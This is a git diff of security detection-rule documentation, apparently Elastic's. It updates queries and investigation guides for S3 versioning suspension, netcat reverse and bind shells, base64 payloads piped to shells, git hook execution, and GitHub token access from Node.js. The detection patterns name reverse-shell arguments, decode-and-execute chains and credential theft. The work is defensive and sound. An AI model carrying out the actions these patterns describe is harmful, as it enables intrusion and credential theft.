`CopyObject` events within an S3 bucket using an AWS KMS key from an * Tactic: Impact * Resources: Investigation Guide -*Version*: 6 +*Version*: 8 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/aws-s3-object-versioning-suspended.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-s3-object-versioning-suspended.asciidoc index b197b2f9bb..4b2a362e9e 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-s3-object-versioning-suspended.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-s3-object-versioning-suspended.asciidoc @@ -38,7 +38,7 @@ Identifies when object versioning is suspended for an Amazon S3 bucket. Object v * Tactic: Impact * Resources: Investigation Guide -*Version*: 5 +*Version*: 6 *Rule authors*: @@ -51,50 +51,86 @@ Identifies when object versioning is suspended for an Amazon S3 bucket. Object v - *Triage and analysis* +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + *Investigating AWS S3 Object Versioning Suspended* -This rule detects when object versioning for an S3 bucket is suspended. Adversaries with access to a misconfigured S3 bucket may disable object versioning prior to replacing or deleting S3 objects, inhibiting recovery initiatives. -This rule uses https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-eql-rule[EQL] to look for use of the `PutBucketVersioning` operation where the `request_parameters` include `Status=Suspended`. +This rule detects when object versioning for an S3 bucket is suspended. S3 object versioning protects against data loss by maintaining prior versions of objects, allowing recovery if they are deleted or overwritten. +Adversaries with access to a misconfigured or compromised S3 bucket may disable versioning to inhibit recovery efforts, conceal data destruction, or prepare for ransomware-like activity. +This rule uses https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-eql-rule[EQL] to detect use of the `PutBucketVersioning` API operation where the request parameters include `Status=Suspended`. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. + - Verify whether this user or role has a legitimate operational reason to modify bucket versioning and whether such actions are common for this identity. + +- **Analyze the Source and Context** + - Review `source.ip` and `user_agent.original` to assess the origin of the request. + - Check for unusual geographic locations, IP ranges, or clients that do not typically manage storage configurations. + +- **Evaluate the Affected Resource** + - Review `aws.cloudtrail.resources.arn` or `aws.cloudtrail.request_parameters` to identify which bucket’s versioning was modified. + - Determine whether this bucket contains critical or regulated data (logs, backups, audit evidence, etc.) that would be impacted by versioning suspension. +- **Correlate with Related Activity** + - Search for additional CloudTrail events performed by the same actor or IP address within the same timeframe, such as: + - `DeleteObject`, `DeleteObjects`, or `PutBucketLifecycle` events (potential data destruction). + - `PutBucketPolicy` or `PutBucketAcl` changes (permission manipulation). + - Review other detections related to S3 buckets or IAM changes to determine if this event is part of a larger sequence of destructive or unauthorized actions. -*Possible Investigation Steps:* +- **Validate Intent** + - Confirm whether this configuration change aligns with approved maintenance or automation activity (e.g., cost optimization, test environment reset). + - If no corresponding change request or justification exists, treat this as a potential defense evasion or impact event. -- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who performed the action. Verify if this actor typically performs such actions and if they have the necessary permissions. -- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. -- **Correlate with Other Activities**: Search for related CloudTrail events before and after this action to see if the same actor or IP address engaged in other potentially suspicious activities. -- **Check for Object Deletion or Access**: Look for `DeleteObject`, `DeleteObjects`, or `GetObject` API calls to the same S3 bucket that may indicate the adversary accessing and destroying objects including older object versions. -- **Interview Relevant Personnel**: If the copy event was initiated by a user, verify the intent and authorization for this action with the person or team responsible for managing S3 buckets. +*False positive analysis* -*False Positive Analysis:* +- **Legitimate Administrative Actions** + - Administrators or infrastructure automation tools may suspend versioning during migrations or lifecycle testing. Confirm through change management documentation. +- **Automation and Pipelines** + - Verify whether Infrastructure-as-Code tools (e.g., Terraform, CloudFormation) or backup lifecycle scripts routinely modify versioning states. + - Exclude predictable automation identities where justified, while ensuring strong audit controls remain in place. -- **Legitimate Administrative Actions**: Confirm if the action aligns with legitimate administrative tasks documented in change management systems. -- **Consistency Check**: Compare the action against historical data of similar activities performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm. +*Response and remediation* -*Response and Remediation:* +**Containment and Validation** +- Re-enable versioning immediately for the affected bucket using the AWS Console or CLI (`aws s3api put-bucket-versioning --bucket my-bucket --versioning-configuration Status=Enabled`). +- Verify the change with `get-bucket-versioning` to confirm the bucket is restored to “Enabled.” +- Identify IAM users or roles with `s3:PutBucketVersioning` permissions and restrict access to trusted administrators only. +- Preserve relevant CloudTrail, Config, and CloudWatch logs for the timeframe of the change to ensure integrity of investigation evidence. +**Investigation and Scoping** +- Search CloudTrail for related actions by the same user or IP, including `DeleteObject`, `PutBucketLifecycle`, or `PutBucketPolicy`, to determine whether versioning suspension preceded object deletion or policy manipulation. +- Review S3 access logs or Data Events for deleted, overwritten, or newly uploaded files after versioning suspension. +- Validate if the change corresponds to an authorized change request or approved pipeline deployment. -- **Immediate Review**: If the activity was unauthorized, search for replaced or deleted objects and review the bucket's access logs for any suspicious activity. -- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning S3 bucket management and the risks of ransomware. -- **Audit S3 Bucket Policies and Permissions**: Conduct a comprehensive audit of all S3 bucket policies and associated permissions to ensure they adhere to the principle of least privilege. -- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. +**Recovery and Hardening** +- If object loss or overwrites occurred, attempt recovery using cross-region replication, AWS Backup, or previous snapshot copies. +- Enable S3 Object Lock and MFA Delete on critical buckets to prevent future tampering. +- Configure the AWS Config rule `s3-bucket-versioning-enabled` to continuously monitor for versioning suspension and trigger automated alerts. +- Review IAM and service control policies to ensure the principle of least privilege is enforced for all S3 management actions. +- Document findings and update incident response procedures to include versioning protection as part of ransomware and data destruction prevention strategies. -*Additional Information:* +*Additional information* -For further guidance on managing S3 bucket security and protecting against ransomware, refer to the https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html[AWS S3 documentation] and AWS best practices for security. Additionally, consult the following resources for specific details on S3 ransomware protection: -- https://s3.amazonaws.com/bizzabo.file.upload/PtZzA0eFQwV2RA5ysNeo_ERMETIC%20REPORT%20-%20AWS%20S3%20Ransomware%20Exposure%20in%20the%20Wild.pdf[ERMETIC REPORT - AWS S3 Ransomware Exposure in the Wild] -- https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/[S3 Ransomware Part 1: Attack Vector] +- AWS Documentation: https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html[Using Versioning in S3] +- API Reference: https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html[PutBucketVersioning] +- https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks] +- https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework] ==== Rule query @@ -102,7 +138,8 @@ For further guidance on managing S3 bucket security and protecting against ranso [source, js] ---------------------------------- -any where event.dataset == "aws.cloudtrail" +info where event.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" and event.action == "PutBucketVersioning" and event.outcome == "success" and stringContains(aws.cloudtrail.request_parameters, "Status=Suspended") diff --git a/docs/detections/prebuilt-rules/rule-details/aws-s3-static-site-javascript-file-uploaded.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-s3-static-site-javascript-file-uploaded.asciidoc index 167c743a00..c913001e64 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-s3-static-site-javascript-file-uploaded.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-s3-static-site-javascript-file-uploaded.asciidoc @@ -1,7 +1,7 @@ [[aws-s3-static-site-javascript-file-uploaded]] === AWS S3 Static Site JavaScript File Uploaded -This rule detects when a JavaScript file is uploaded or accessed in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. +This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. *Rule type*: esql @@ -13,7 +13,7 @@ This rule detects when a JavaScript file is uploaded or accessed in an S3 static *Runs every*: 5m -*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) *Maximum alerts per execution*: 100 @@ -34,7 +34,7 @@ This rule detects when a JavaScript file is uploaded or accessed in an S3 static * Use Case: Cloud Threat Detection * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: @@ -92,10 +92,11 @@ An S3 `PutObject` action that targets a path like `static/js/` and uploads a `.j from logs-aws.cloudtrail* metadata _id, _version, _index | where - // S3 object read/write activity + // S3 object write activity event.dataset == "aws.cloudtrail" and event.provider == "s3.amazonaws.com" - and event.action in ("GetObject", "PutObject") + and event.action == "PutObject" + and event.outcome == "success" // IAM users or assumed roles only and aws.cloudtrail.user_identity.type in ("IAMUser", "AssumedRole") @@ -107,7 +108,7 @@ from logs-aws.cloudtrail* metadata _id, _version, _index and not ( user_agent.original like "*Terraform*" or user_agent.original like "*Ansible*" - or user_agent.original like "*Pulumni*" + or user_agent.original like "*Pulumi*" ) // Extract fields from request parameters diff --git a/docs/detections/prebuilt-rules/rule-details/aws-service-quotas-multi-region-getservicequota-requests.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-service-quotas-multi-region-getservicequota-requests.asciidoc index 06e63650a8..4d8360f35b 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-service-quotas-multi-region-getservicequota-requests.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-service-quotas-multi-region-getservicequota-requests.asciidoc @@ -32,7 +32,7 @@ Identifies when a single AWS resource is making `GetServiceQuota` API calls for * Tactic: Discovery * Resources: Investigation Guide -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/azure-openai-insecure-output-handling.asciidoc b/docs/detections/prebuilt-rules/rule-details/azure-openai-insecure-output-handling.asciidoc index f0113c20d3..f3ddf59e91 100644 --- a/docs/detections/prebuilt-rules/rule-details/azure-openai-insecure-output-handling.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/azure-openai-insecure-output-handling.asciidoc @@ -29,7 +29,7 @@ Detects when Azure OpenAI requests result in zero response length, potentially i * Use Case: Insecure Output Handling * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/base64-decoded-payload-piped-to-interpreter.asciidoc b/docs/detections/prebuilt-rules/rule-details/base64-decoded-payload-piped-to-interpreter.asciidoc index 77d50b208f..ed9008f732 100644 --- a/docs/detections/prebuilt-rules/rule-details/base64-decoded-payload-piped-to-interpreter.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/base64-decoded-payload-piped-to-interpreter.asciidoc @@ -8,6 +8,7 @@ This rule detects when a base64 decoded payload is piped to an interpreter on Li *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: medium @@ -30,8 +31,9 @@ This rule detects when a base64 decoded payload is piped to an interpreter on Li * Tactic: Execution * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 3 +*Version*: 4 *Rule authors*: @@ -131,7 +133,7 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- sequence by host.id, process.parent.entity_id with maxspan=3s - [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and ( (process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and process.command_line like~ "*-*d*") or (process.name == "openssl" and process.args == "enc" and process.args in ("-d", "-base64", "-a")) or (process.name like "python*" and @@ -141,7 +143,7 @@ sequence by host.id, process.parent.entity_id with maxspan=3s (process.name like "perl*" and process.command_line like~ "*decode_base64*") or (process.name like "ruby*" and process.args == "-e" and process.command_line like~ "*Base64.decode64*") )] - [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name like~ ( + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name like~ ( "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "perl*", "ruby*", "lua*", "php*" )] diff --git a/docs/detections/prebuilt-rules/rule-details/command-line-obfuscation-via-whitespace-padding.asciidoc b/docs/detections/prebuilt-rules/rule-details/command-line-obfuscation-via-whitespace-padding.asciidoc index 458f2a319e..25bc9c5d8c 100644 --- a/docs/detections/prebuilt-rules/rule-details/command-line-obfuscation-via-whitespace-padding.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/command-line-obfuscation-via-whitespace-padding.asciidoc @@ -30,7 +30,7 @@ Identifies process execution events where the command line value contains a long * Tactic: Execution * Resources: Investigation Guide -*Version*: 1 +*Version*: 3 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/connection-to-commonly-abused-web-services.asciidoc b/docs/detections/prebuilt-rules/rule-details/connection-to-commonly-abused-web-services.asciidoc index 44939fe014..cde448210d 100644 --- a/docs/detections/prebuilt-rules/rule-details/connection-to-commonly-abused-web-services.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/connection-to-commonly-abused-web-services.asciidoc @@ -35,7 +35,7 @@ Adversaries may implement command and control (C2) communications that use commo * Data Source: Elastic Defend * Data Source: SentinelOne -*Version*: 122 +*Version*: 123 *Rule authors*: @@ -315,6 +315,14 @@ network where host.os.type == "windows" and ** Name: Domain Generation Algorithms ** ID: T1568.002 ** Reference URL: https://attack.mitre.org/techniques/T1568/002/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ * Tactic: ** Name: Exfiltration ** ID: TA0010 diff --git a/docs/detections/prebuilt-rules/rule-details/curl-or-wget-spawned-via-node-js.asciidoc b/docs/detections/prebuilt-rules/rule-details/curl-or-wget-spawned-via-node-js.asciidoc index b82d344140..0aad909222 100644 --- a/docs/detections/prebuilt-rules/rule-details/curl-or-wget-spawned-via-node-js.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/curl-or-wget-spawned-via-node-js.asciidoc @@ -8,6 +8,7 @@ This rule detects when Node.js, directly or via a shell, spawns the curl or wget *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: low @@ -29,8 +30,9 @@ This rule detects when Node.js, directly or via a shell, spawns the curl or wget * Tactic: Command and Control * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 1 +*Version*: 2 *Rule authors*: @@ -125,7 +127,7 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "node" and ( +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.parent.name == "node" and ( ( process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line like~ ("*curl*", "*wget*") diff --git a/docs/detections/prebuilt-rules/rule-details/delayed-execution-via-ping.asciidoc b/docs/detections/prebuilt-rules/rule-details/delayed-execution-via-ping.asciidoc index 2d4382263f..158bb1f12c 100644 --- a/docs/detections/prebuilt-rules/rule-details/delayed-execution-via-ping.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/delayed-execution-via-ping.asciidoc @@ -31,7 +31,7 @@ Identifies the execution of commonly abused Windows utilities via a delayed Ping * Data Source: Elastic Defend * Resources: Investigation Guide -*Version*: 6 +*Version*: 7 *Rule authors*: @@ -193,6 +193,6 @@ sequence by process.parent.entity_id with maxspan=1m ** ID: T1497 ** Reference URL: https://attack.mitre.org/techniques/T1497/ * Sub-technique: -** Name: Time Based Evasion +** Name: Time Based Checks ** ID: T1497.003 ** Reference URL: https://attack.mitre.org/techniques/T1497/003/ diff --git a/docs/detections/prebuilt-rules/rule-details/deprecated-aws-ec2-vm-export-failure.asciidoc b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-ec2-vm-export-failure.asciidoc new file mode 100644 index 0000000000..6ffc0bb0bc --- /dev/null +++ b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-ec2-vm-export-failure.asciidoc @@ -0,0 +1,125 @@ +[[deprecated-aws-ec2-vm-export-failure]] +=== Deprecated - AWS EC2 VM Export Failure + +Identifies an attempt to export an AWS EC2 instance. A virtual machine (VM) export may indicate an attempt to extract or exfiltrate information. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Use Case: Asset Visibility +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - AWS EC2 VM Export Failure* + + +AWS EC2 allows users to export virtual machines for backup or migration. However, adversaries might exploit this feature to exfiltrate sensitive data by exporting VMs to unauthorized locations. The detection rule monitors failed export attempts, focusing on specific AWS CloudTrail events, to identify potential exfiltration activities, thereby alerting security teams to investigate further. + + +*Possible investigation steps* + + +- Review the AWS CloudTrail logs for the specific event.action: CreateInstanceExportTask with event.outcome: failure to gather details about the failed export attempt, including timestamps, source IP addresses, and user identities involved. +- Investigate the IAM user or role associated with the failed export attempt to determine if the action was authorized or if there are any signs of compromised credentials. +- Check the AWS account's export policies and permissions to ensure they are configured correctly and restrict unauthorized export attempts. +- Analyze any recent changes in the AWS environment, such as new IAM roles or policy modifications, that could be related to the failed export attempt. +- Correlate the failed export attempt with other security events or alerts in the environment to identify any patterns or potential coordinated activities indicating a broader threat. + + +*False positive analysis* + + +- Routine backup operations may trigger the rule if they involve failed export attempts. To manage this, identify and whitelist specific IAM roles or users that regularly perform legitimate backup tasks. +- Development and testing environments often involve frequent export attempts for non-production instances. Exclude these environments by tagging instances appropriately and adjusting the detection rule to ignore these tags. +- Misconfigured export tasks due to incorrect permissions or settings can lead to false positives. Regularly review and update IAM policies and export configurations to ensure they align with intended operations. +- Automated scripts or tools that manage EC2 instances might occasionally fail due to transient issues, causing false alerts. Monitor and log these scripts' activities to distinguish between expected failures and potential threats. + + +*Response and remediation* + + +- Immediately isolate the affected AWS account to prevent further unauthorized export attempts. This can be done by restricting permissions or temporarily suspending the account. +- Review and revoke any suspicious or unauthorized IAM roles or policies that may have been used to initiate the failed export attempt. +- Conduct a thorough audit of recent AWS CloudTrail logs to identify any other unusual activities or patterns that may indicate a broader compromise. +- Notify the security operations team and relevant stakeholders about the incident for further investigation and potential escalation. +- Implement additional monitoring and alerting for successful and failed VM export attempts to ensure rapid detection of similar activities in the future. +- Enhance IAM policies to enforce the principle of least privilege, ensuring only authorized users have the necessary permissions to export EC2 instances. +- Consider enabling AWS Config rules to continuously monitor and enforce compliance with security best practices related to EC2 instance exports. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:CreateInstanceExportTask and event.outcome:failure + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/rule-details/discovery-of-domain-groups.asciidoc b/docs/detections/prebuilt-rules/rule-details/discovery-of-domain-groups.asciidoc index 539d159c0e..b22651dddc 100644 --- a/docs/detections/prebuilt-rules/rule-details/discovery-of-domain-groups.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/discovery-of-domain-groups.asciidoc @@ -11,6 +11,7 @@ Identifies the execution of Linux built-in commands related to account or group * endgame-* * auditbeat-* * logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* *Severity*: low @@ -34,8 +35,9 @@ Identifies the execution of Linux built-in commands related to account or group * Data Source: Elastic Defend * Data Source: Elastic Endgame * Data Source: Auditd Manager +* Data Source: Crowdstrike -*Version*: 4 +*Version*: 5 *Rule authors*: @@ -49,7 +51,7 @@ Identifies the execution of Linux built-in commands related to account or group [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started") +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started", "ProcessRollup2") and ( process.name in ("ldapsearch", "dscacheutil") or (process.name == "dscl" and process.args : "*-list*") ) diff --git a/docs/detections/prebuilt-rules/rule-details/dynamic-iex-reconstruction-via-method-string-access.asciidoc b/docs/detections/prebuilt-rules/rule-details/dynamic-iex-reconstruction-via-method-string-access.asciidoc index 6607124099..9368fbfa78 100644 --- a/docs/detections/prebuilt-rules/rule-details/dynamic-iex-reconstruction-via-method-string-access.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/dynamic-iex-reconstruction-via-method-string-access.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts that reconstruct the IEX (Invoke-Expression) comma * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/entra-id-actor-token-user-impersonation-abuse.asciidoc b/docs/detections/prebuilt-rules/rule-details/entra-id-actor-token-user-impersonation-abuse.asciidoc index 7ed41ef4cd..c6d20459d0 100644 --- a/docs/detections/prebuilt-rules/rule-details/entra-id-actor-token-user-impersonation-abuse.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/entra-id-actor-token-user-impersonation-abuse.asciidoc @@ -35,7 +35,7 @@ Identifies potential abuse of actor tokens in Microsoft Entra ID audit logs. Act * Tactic: Privilege Escalation * Resources: Investigation Guide -*Version*: 1 +*Version*: 3 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/excessive-microsoft-365-mailbox-items-accessed.asciidoc b/docs/detections/prebuilt-rules/rule-details/excessive-microsoft-365-mailbox-items-accessed.asciidoc index 1e5811df12..603187d3c4 100644 --- a/docs/detections/prebuilt-rules/rule-details/excessive-microsoft-365-mailbox-items-accessed.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/excessive-microsoft-365-mailbox-items-accessed.asciidoc @@ -35,7 +35,7 @@ Identifies an excessive number of Microsoft 365 mailbox items accessed by a user * Tactic: Collection * Resources: Investigation Guide -*Version*: 1 +*Version*: 2 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/excessive-secret-or-key-retrieval-from-azure-key-vault.asciidoc b/docs/detections/prebuilt-rules/rule-details/excessive-secret-or-key-retrieval-from-azure-key-vault.asciidoc index e0dfea7f91..26b3123d3a 100644 --- a/docs/detections/prebuilt-rules/rule-details/excessive-secret-or-key-retrieval-from-azure-key-vault.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/excessive-secret-or-key-retrieval-from-azure-key-vault.asciidoc @@ -34,7 +34,7 @@ Identifies excessive secret or key retrieval operations from Azure Key Vault. Th * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/file-transfer-or-listener-established-via-netcat.asciidoc b/docs/detections/prebuilt-rules/rule-details/file-transfer-or-listener-established-via-netcat.asciidoc index 99b9018968..05b614c345 100644 --- a/docs/detections/prebuilt-rules/rule-details/file-transfer-or-listener-established-via-netcat.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/file-transfer-or-listener-established-via-netcat.asciidoc @@ -8,7 +8,9 @@ A netcat process is engaging in network activity on a Linux host. Netcat is ofte *Rule indices*: * auditbeat-* -* logs-endpoint.events.network* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* * logs-endpoint.events.process* * logs-sentinel_one_cloud_funnel.* @@ -39,9 +41,12 @@ A netcat process is engaging in network activity on a Linux host. Netcat is ofte * Tactic: Execution * Resources: Investigation Guide * Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike * Data Source: SentinelOne -*Version*: 214 +*Version*: 215 *Rule authors*: @@ -160,23 +165,17 @@ Auditbeat is a lightweight shipper that you can install on your servers to audit [source, js] ---------------------------------- -sequence by process.entity_id - [process where host.os.type == "linux" and event.type == "start" and - process.name:("nc","ncat","netcat","netcat.openbsd","netcat.traditional") and ( - /* bind shell to echo for command execution */ - (process.args:("-l","-p") and process.args:("-c","echo","$*")) - /* bind shell to specific port */ - or process.args:("-l","-p","-lp") - /* reverse shell to command-line interpreter used for command execution */ - or (process.args:("-e") and process.args:("/bin/bash","/bin/sh")) - /* file transfer via stdout */ - or process.args:(">","<") - /* file transfer via pipe */ - or (process.args:("|") and process.args:("nc","ncat")) - ) and - not process.command_line like~ ("*127.0.0.1*", "*localhost*")] - [network where host.os.type == "linux" and (process.name == "nc" or process.name == "ncat" or process.name == "netcat" or - process.name == "netcat.openbsd" or process.name == "netcat.traditional")] +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("nc","ncat","netcat","netcat.openbsd","netcat.traditional") and +process.args like~ ( + /* bind shell to specific port or listener */ + "-*l*","-*p*", + /* reverse shell to command-line interpreter used for command execution */ + "-*e*", + /* file transfer via stdout/pipe */ + ">","<", "|" +) ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/git-hook-command-execution.asciidoc b/docs/detections/prebuilt-rules/rule-details/git-hook-command-execution.asciidoc index 3fcf5c4691..840ce85df9 100644 --- a/docs/detections/prebuilt-rules/rule-details/git-hook-command-execution.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/git-hook-command-execution.asciidoc @@ -9,6 +9,7 @@ This rule detects the execution of a potentially malicious process from a Git ho * logs-endpoint.events.process* * logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* *Severity*: medium @@ -36,8 +37,9 @@ This rule detects the execution of a potentially malicious process from a Git ho * Data Source: Elastic Defend * Data Source: SentinelOne * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 105 +*Version*: 106 *Rule authors*: @@ -138,11 +140,11 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- sequence by host.id with maxspan=3s - [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and process.parent.name == "git" and process.args : ".git/hooks/*" and process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") ] by process.entity_id - [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.parent.entity_id ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/github-authentication-token-access-via-node-js.asciidoc b/docs/detections/prebuilt-rules/rule-details/github-authentication-token-access-via-node-js.asciidoc index b0a267bb5a..086e3c153f 100644 --- a/docs/detections/prebuilt-rules/rule-details/github-authentication-token-access-via-node-js.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/github-authentication-token-access-via-node-js.asciidoc @@ -8,6 +8,7 @@ This rule detects when the Node.js runtime spawns a shell to execute the GitHub *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: medium @@ -32,8 +33,9 @@ This rule detects when the Node.js runtime spawns a shell to execute the GitHub * Tactic: Discovery * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 1 +*Version*: 2 *Rule authors*: @@ -84,7 +86,7 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "node" and +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.parent.name == "node" and process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "gh auth token" ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/high-number-of-egress-network-connections-from-unusual-executable.asciidoc 